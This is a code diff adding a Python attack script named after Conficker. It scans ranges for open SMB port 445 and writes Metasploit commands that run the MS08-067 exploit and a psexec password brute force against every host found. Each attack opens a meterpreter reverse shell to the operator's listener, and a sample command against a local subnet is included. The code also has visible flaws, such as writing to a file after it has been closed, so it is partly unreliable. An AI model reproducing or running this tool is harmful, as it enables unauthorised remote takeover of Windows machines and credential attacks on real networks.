|
| 1 | +#!/usr/bin/python |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | +import os |
| 4 | +import optparse |
| 5 | +import sys |
| 6 | +import nmap |
| 7 | + |
| 8 | + |
| 9 | +def find_hosts(host, port='445'): |
| 10 | + scanner = nmap.PortScanner() |
| 11 | + scanner.scan(host, port) |
| 12 | + hosts = [] |
| 13 | + for host in scanner.all_hosts(): |
| 14 | + if scanner[host].has_tcp(int(port)): |
| 15 | + if scanner[host]['tcp'][int(port)]['state'] == 'open': |
| 16 | + print('[+] Found Target Host: {}'.format(host)) |
| 17 | + hosts.append(host) |
| 18 | + return hosts |
| 19 | + |
| 20 | + |
| 21 | +def setup_handler(config, local_host, local_port): |
| 22 | + config.write('use exploit/multi/handler\n') |
| 23 | + config.write('set payload windows/meterpreter/reverse_tcp\n') |
| 24 | + config.write('set LPORT {}\n'.format(str(local_port))) |
| 25 | + config.write('set LHOST {}\n'.format(local_host)) |
| 26 | + config.write('exploit -j -z\n') |
| 27 | + config.write('setg DisablePayloadHandler 1\n') |
| 28 | + |
| 29 | + |
| 30 | +def conficker_exploit(config, target_host, local_host, local_port): |
| 31 | + config.write('use exploit/windows/smb/ms08_067_netapi\n') |
| 32 | + config.write('set RHOST {}\n'.format(target_host)) |
| 33 | + config.write('set payload windows/meterpreter/reverse_tcp\n') |
| 34 | + config.write('set LPORT {}\n'.format(str(local_port))) |
| 35 | + config.write('set LHOST {}\n'.format(local_host)) |
| 36 | + config.write('exploit -j -z\n') |
| 37 | + |
| 38 | + |
| 39 | +def smb_brute_force(config, target_host, local_host, local_port, username='Administrator', passwords=[]): |
| 40 | + for password in passwords: |
| 41 | + config.write('use exploit/windows/smb/psexec\n') |
| 42 | + config.write('set SMBUser {}\n'.format(username)) |
| 43 | + config.write('set SMBPass {}\n'.format(password)) |
| 44 | + config.write('set RHOST {}\n'.format(target_host)) |
| 45 | + config.write('set payload windows/meterpreter/reverse_tcp\n') |
| 46 | + config.write('set LPORT {}\n'.format(str(local_port))) |
| 47 | + config.write('set LHOST {}\n'.format(local_host)) |
| 48 | + config.write('exploit -j -z\n') |
| 49 | + |
| 50 | + |
| 51 | +def main(): |
| 52 | + parser = optparse.OptionParser('[-] Usage %prog -H <target host[s]> -l <local port> [-p <local host> -F <password file>]') |
| 53 | + parser.add_option('-H', dest='target_host', type='string', help='specify the target address[es]') |
| 54 | + parser.add_option('-p', dest='local_port', type='string', help='specify the listen port') |
| 55 | + parser.add_option('-l', dest='local_host', type='string', help='specify the listen address') |
| 56 | + parser.add_option('-F', dest='password_file', type='string', help='password file for SMB brute force attempt') |
| 57 | + |
| 58 | + (options, args) = parser.parse_args() |
| 59 | + |
| 60 | + if options.target_host is None or options.local_host is None: |
| 61 | + print(parser.usage) |
| 62 | + exit(0) |
| 63 | + |
| 64 | + local_host = options.local_host |
| 65 | + local_port = options.local_port |
| 66 | + if not local_port: |
| 67 | + local_port = '1337' |
| 68 | + |
| 69 | + with open('meta.rc', 'w') as configFile: |
| 70 | + setup_handler(configFile, local_host, local_port) |
| 71 | + |
| 72 | + password_file = options.password_file |
| 73 | + passwords = open(password_file, "r").readlines() |
| 74 | + passwords = list(map(lambda l: l.strip(), passwords)) |
| 75 | + |
| 76 | + target_hosts = find_hosts(options.target_host) |
| 77 | + print("[*] Found {} hosts from given {}".format(len(target_hosts), options.target_host)) |
| 78 | + if not len(target_hosts): |
| 79 | + exit(0) |
| 80 | + |
| 81 | + for host in target_hosts: |
| 82 | + print("[*] Testing host {}...".format(host)) |
| 83 | + conficker_exploit(configFile, host, local_host, local_port) |
| 84 | + smb_brute_force(configFile, host, local_host, local_port, passwords=passwords) |
| 85 | + |
| 86 | + os.system('msfconsole -r meta.rc') |
| 87 | + |
| 88 | + |
| 89 | +if __name__ == '__main__': |
| 90 | + main() |
| 91 | + # run as follows: |
| 92 | + # $ python conficker.py -H 192.168.1.30-50 -l 192.168.1.3 -F passwords.txt |
0 commit comments